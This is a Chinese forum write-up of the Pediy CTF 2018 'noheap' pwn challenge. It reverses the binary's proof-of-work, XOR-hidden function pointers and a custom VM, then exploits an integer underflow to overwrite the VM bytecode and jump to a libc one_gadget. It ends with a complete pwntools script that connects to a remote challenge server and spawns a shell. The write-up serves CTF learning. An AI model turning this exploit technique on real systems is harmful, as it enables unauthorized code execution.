-
-
[原创] 第六题 PWN-noheap WriteUp
-
2018-6-26 15:40 2556
-
Pediy CTF 2018 Writeup - noheap
这一个pwn题,感觉也还是比较偏逆向……
程序分析
IDA载程序可以发现程序先做了一个proof of work验证,自己手写了一个简单的哈希函数,随机生成4个0x30 ~ 0x5B之间的字节,当成int32型做两次数学运算,然后再当成字符串生成哈希值。
算法:
def gen_num(n): n = (214013 * n + 2531011) & 0xFFFFFFFF res = p32(n) n = (214013 * n + 2531011) & 0xFFFFFFFF res += p32(n) return res def hashss(s): val = 0 for i in range(8): val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF return val
写一个函数,爆破4个字节即可,注意输入的应该是4个字节被做两次数学运算后的8个字节。
进了程序流程以后可以看到控制流程的函数非常的诡异:
.text:000055874A0ED470 push rbp .text:000055874A0ED471 mov rbp, rsp .text:000055874A0ED474 sub rsp, 10h .text:000055874A0ED478 .text:000055874A0ED478 main_func: ; DATA XREF: init_table+DD↑o .text:000055874A0ED478 call menu .text:000055874A0ED47D call read_num .text:000055874A0ED482 mov [rbp+opt], eax .text:000055874A0ED485 mov eax, [rbp+opt] .text:000055874A0ED488 test eax, eax .text:000055874A0ED48A jz short locret_55874A0ED4EE .text:000055874A0ED48C mov eax, [rbp+opt] .text:000055874A0ED48F cmp eax, 3 .text:000055874A0ED492 ja short locret_55874A0ED4EE .text:000055874A0ED494 lea rax, src .text:000055874A0ED49B movzx rcx, byte ptr [rbp+opt] .text:000055874A0ED4A0 dec rcx .text:000055874A0ED4A3 not rcx .text:000055874A0ED4A6 mov rdi, [rax+rcx*8-10h] .text:000055874A0ED4AB mov rsi, [rax+rcx*8-38h] .text:000055874A0ED4B0 xor rdi, rsi .text:000055874A0ED4B3 mov [rsp+10h+var_70], rdi .text:000055874A0ED4B8 mov rdi, [rax-30h] .text:000055874A0ED4BC mov rsi, [rax-58h] .text:000055874A0ED4C0 xor rdi, rsi .text:000055874A0ED4C3 mov [rsp+10h+var_18], rdi .text:000055874A0ED4C8 mov rsi, [rax-38h] .text:000055874A0ED4CC mov rax, [rax-60h] .text:000055874A0ED4D0 xor rax, rsi .text:000055874A0ED4D3 mov [rsp+10h+var_78], rax .text:000055874A0ED4D8 mov [rsp+10h+var_20], rbp .text:000055874A0ED4DD lea rsp, [rsp-10h] .text:000055874A0ED4E2 mov rbp, rsp .text:000055874A0ED4E5 sub rsp, 88h .text:000055874A0ED4EC jmp rax .text:000055874A0ED4EE ; --------------------------------------------------------------------------- .text:000055874A0ED4EE .text:000055874A0ED4EE locret_55874A0ED4EE: ; CODE XREF: main_func_0+1A↑j .text:000055874A0ED4EE ; main_func_0+22↑j .text:000055874A0ED4EE leave .text:000055874A0ED4EF retn .text:000055874A0ED4EF main_func_0 endp
将BSS段的某几个值异或,某几个放在栈里,固定的一个jmp过去。
利用JumpToXref功能,寻找这几个值被引用的地方,发现在init_array中有初始化函数:
v3 = __readfsqword(0x28u); fd = open("/dev/urandom", 0); for ( i = 0; i <= 4; ++i ) read(fd, (char *)src - 64LL - 8 * i, 8uLL); add_ptr = add_xor ^ (unsigned __int64)add; show_ptr = show_xor ^ (unsigned __int64)show; del_ptr = del_xor ^ (unsigned __int64)del; main_ptr = main_xor ^ (unsigned __int64)&main_func; vm_ptr = vm_xor ^ (unsigned __int64)vm_func; *(_QWORD *)bytecodes = 0x106040F01130301LL; *(_QWORD *)&bytecodes[8] = 0x4000161302011409LL; *(_DWORD *)&bytecodes[16] = 0; *(_WORD *)&bytecodes[20] = 0; bytecodes[22] = 0; close(fd); return __readfsqword(0x28u) ^ v3;
程序把主要的几个功能函数写入到了bss段里,并和随机数异或,到需要用到的时候再动态取出。
用于跳转的固定函数是个VM解析器,字节码被提前写入BSS段。
漏洞
一开始习惯性的去找free函数的问题,发现只能free之前刚malloc的一块堆,并且free之后指针已经置零。show函数只能show一次,之后便会关闭stdout和stderr,这些地方似乎没有漏洞。
后来发现,add函数存在一个不太明显的整数溢出:
printf("Size :"); result = read_num(); size_8 = (unsigned int)result; if ( (unsigned int)result > 0x80uLL ) return result; dest = malloc((unsigned int)result); if ( dest ) { printf("Content :"); n = read_buf(src, (unsigned __int8)(size_8 - 1)); memcpy(dest, src, n); curr_chunk.ptr = (__int64)dest; result = (unsigned __int64)&curr_chunk; curr_chunk.size = size_8; } else { result = puts("error."); } return result; }
如果读入0,满足了unsigned int小于0x80的条件,malloc(0)可以正常返回,read_buf的第二个参数便会变成0 - 1 = 0xFF,超过了128,可以在BSS段溢出到VM的字节码。
VM逆向
经过一番分析,标了操作数和寄存器之后的VM函数:
__int64 v1; // rt1 void *__ptr32 *result; // rax __int64 v3; // rax a1[-1].pc = 0LL; a1[-1].IR = 0LL; a1[-1]._AX = 0LL; a1[-1].field_38 = 0LL; a1[-1]._BX = 0LL; a1[-1].func_ptr = 0LL; a1[-1].num2 = 0LL; a1[-1].jmp_flag = 0LL; while ( 2 ) { a1[-1].IR = bytecodes[a1[-1].pc]; v1 = a1[-1].IR; result = off_55874A0EDA1C; switch ( (unsigned __int64)a1 ) { case MOV_AX: a1[-1]._AX = (unsigned __int8)bytecodes[a1[-1].pc + 1]; a1[-1].pc += 2LL; continue; case MOV_BX__AX_: a1[-1]._BX = (unsigned __int8)bytecodes[a1[-1]._AX]; ++a1[-1].pc; continue; case MOV_FUNC__AX_: a1[-1].func_ptr = *(_QWORD *)&bytecodes[a1[-1]._AX]; ++a1[-1].pc; continue; case MOV_NUM__AX_: a1[-1].num2 = *(_QWORD *)&bytecodes[a1[-1]._AX]; ++a1[-1].pc; continue; case SUB_FUNC_NUM: a1[-1].func_ptr -= a1[-1].num2; ++a1[-1].pc; continue; case ADD_FUNC_NUM: a1[-1].func_ptr += a1[-1].num2; ++a1[-1].pc; continue; case MUL_FUNC_NUM: a1[-1].func_ptr *= a1[-1].num2; ++a1[-1].pc; continue; case DIV_FUNC_NUM: a1[-1].func_ptr = (unsigned __int64)a1[-1].func_ptr / a1[-1].num2; ++a1[-1].pc; continue; case XOR_FUNC_NUM: a1[-1].func_ptr ^= a1[-1].num2; ++a1[-1].pc; continue; case AND_FUNC_NUM: a1[-1].func_ptr &= a1[-1].num2; ++a1[-1].pc; continue; case OR_FUNC_NUM: a1[-1].func_ptr |= a1[-1].num2; ++a1[-1].pc; continue; case CMP_FUNC_NUM: a1[-1].jmp_flag = a1[-1].func_ptr != a1[-1].num2; ++a1[-1].pc; continue; case JNZ: if ( a1[-1].jmp_flag ) v3 = a1[-1].pc + 2; else v3 = (unsigned __int8)bytecodes[a1[-1].pc]; a1[-1].pc = v3; continue; case MOV_FUNC_BX: a1[-1].func_ptr = a1[-1]._BX; ++a1[-1].pc; continue; case MOV_NUM_BX: a1[-1].num2 = a1[-1]._BX; ++a1[-1].pc; continue; case MOV_BX_FUNC: a1[-1]._BX = a1[-1].func_ptr; ++a1[-1].pc; continue; case MOV_BX_NUM: a1[-1]._BX = a1[-1].num2; ++a1[-1].pc; continue; case MOV_FUNC_NUM: a1[-1].func_ptr = a1[-1].num2; ++a1[-1].pc; continue; case MOV_FUNC__BP_sub_AX_: a1[-1].func_ptr = *(&a1[-1].pc - a1[-1]._AX); ++a1[-1].pc; continue; case MOV__BP_sub_AX__FUNC: *(&a1[-1].pc - a1[-1]._AX) = a1[-1].func_ptr; ++a1[-1].pc; continue; case INC_BX: ++a1[-1]._BX; ++a1[-1].pc; continue; case CALL_FUNC: ++a1[-1].pc; result = (void *__ptr32 *)((__int64 (*)(void))a1[-1].func_ptr)(); break; default: return result; } break; } return result;
// PC的内容当PC指针用,PC的地址当基址寄存器用……膜出题人……
原来的字节码对应的指令:
0 MOV AX, 3 2 MOV FUNC, [BP - AX] 3 MOV AX, 0xF 5 MOV NUM, [bytecode + AX] 6 ADD FUNC, NUM 7 MOV AX, 9 9 MOV [BP - AX], FUNC A MOV AX, 2 C MOV FUNC, [BP - AX] D CALL FUNC
可以看到FUNC是从栈上直接取来的函数地址,可以跳过去执行。那么可以从栈上取到一个libc中的地址。
经过调试,发现栈上存在一个write+0x10的地址,在栈上的相对偏移为13,相对libc的偏移为0xf72c0,相距最近的有一个one_gadget,偏移为0xf1147,相对偏移是-0x6179.
那么可以写出如下的指令:
0 MOV AX, 13 2 MOV FUNC, [BP - AX] # write + 10 3 MOV AX, 8 5 MOV NUM, [bytecode + AX] 6 SUB FUNC, NUM 7 CALL FUNC 8 dq 0x6179
翻译成字节码,利用溢出来覆盖,再触发一次VM,得到一个shell。
EXP
from pwn import * #p = process('./noheap') p = remote('139.199.99.130', 8989) ''' target opcode: 0 MOV AX, 13 2 MOV FUNC, [BP - AX] # write + 10 3 MOV AX, 8 5 MOV NUM, [AX] 6 SUB FUNC, NUM 7 CALL FUNC 8 dq 0x6179 ''' target_opcode = [ p8(1), p8(13), p8(0x13), p8(1), p8(8), p8(4), p8(5), p8(0x16), p64(0x6179) ] def gen_num(n): n = (214013 * n + 2531011) & 0xFFFFFFFF res = p32(n) n = (214013 * n + 2531011) & 0xFFFFFFFF res += p32(n) return res def hashss(s): val = 0 for i in range(8): val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF return val def proof(h): for x1 in range(48, 48 + 0x2B): for x2 in range(48, 48 + 0x2B): for x3 in range(48, 48 + 0x2B): for x4 in range(48, 48 + 0x2B): n = (x1 << 24) | (x2 << 16) | (x3 << 8) | (x4) #print hex(n) res = gen_num(n) #print res if (hashss(res) == h): return res p.recvuntil("Hash:") h = int(p.recvline().strip(), 16) print hex(h) r = proof(h) print r p.sendline(r) p.sendline('1') p.recvuntil('Size :') p.sendline('0') p.recvuntil('Content :') p.sendline('A' * 128 + ''.join(target_opcode)) p.sendline('1') p.interactive()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。